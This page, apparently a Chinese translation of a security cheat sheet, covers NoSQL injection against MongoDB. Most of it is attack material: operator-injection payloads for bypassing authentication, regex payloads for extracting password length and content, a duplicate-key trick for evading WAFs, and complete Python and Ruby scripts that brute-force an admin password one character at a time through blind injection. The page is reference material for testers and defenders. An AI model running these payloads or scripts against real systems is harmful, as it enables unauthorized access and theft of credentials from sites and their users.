跳转至

NoSQL 注入 (NoSQL Injection)

NoSQL 数据库比传统 SQL 数据库提供了更松散的一致性限制。通过减少关系约束和一致性检查,NoSQL 数据库通常在性能和扩展性方面具有优势。然而,即使不使用传统的 SQL 语法,这些数据库仍然可能面临注入攻击的威胁。

摘要 (Summary)

工具 (Tools)

方法论 (Methodology)

NoSQL 注入发生在攻击者通过在 NoSQL 数据库查询中注入恶意输入来操纵查询时。与 SQL 注入不同,NoSQL 注入通常利用基于 JSON 的查询以及 MongoDB 中的运算符,如 $ne$gt$regex$where

运算符注入 (Operator Injection)

运算符 描述
$ne 不等于 (not equal)
$regex 正则表达式 (regular expression)
$gt 大于 (greater than)
$lt 小于 (lower than)
$nin 不在...中 (not in)

示例:一个 Web 应用程序具有产品搜索功能

db.products.find({ "price": userInput })

攻击者可以注入一个 NoSQL 查询:{ "$gt": 0 }

db.products.find({ "price": { "$gt": 0 } })

数据库不会返回特定产品,而是返回价格大于零的所有产品,从而导致数据泄露。

身份验证绕过 (Authentication Bypass)

使用不等于 ($ne) 或大于 ($gt) 实现基础的身份验证绕过。

  • HTTP 数据
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
  • JSON 数据
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

提取长度信息 (Extract Length Information)

使用 $regex 运算符注入负载。当长度正确时,注入将生效。

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

提取数据信息 (Extract Data Information)

使用 "$regex" 查询运算符提取数据。

  • HTTP 数据
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
  • JSON 数据
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

使用 "$in" 查询运算符提取数据。

{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

WAF 与过滤器 (WAF and Filters)

移除预设条件:

在 MongoDB 中,如果一个文档包含重复的键,则该键的最后一次出现将具有优先权。

{"id":"10", "id":"100"} 

在这种情况下,"id" 的最终值将是 "100"。

NoSQL 盲注 (Blind NoSQL)

带有 JSON 负载的 POST 请求

Python 脚本:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

带有 urlencoded 负载的 POST 请求

Python 脚本:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','&','$']:
            payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if r.status_code == 302 and r.headers['Location'] == '/dashboard':
                print("Found one more char : %s" % (password+c))
                password += c

GET 请求

Python 脚本:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload=f"?username={username}&password[$regex]=^{password + c}"
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print(f"Found one more char : {password+c}")
        password += c

Ruby 脚本:

require 'httpx'

username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # 所有 ASCII 可打印字符
CHARSET = [*'0'..'9',*'a'..'z','-'] # 字母数字 + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
session = HTTPX.plugin(:persistent)

while true
  CHARSET.each do |c|
    unless GET_EXCLUDE.include?(c)
      payload = "?username=#{username}&password[$regex]=^#{password + c}"
      res = session.get(url + payload)
      if res.body.to_s.match?('Yeah')
        puts "Found one more char : #{password + c}"
        password += c
      end
    end
  end
end

实验环境 (Labs)

参考资料 (References)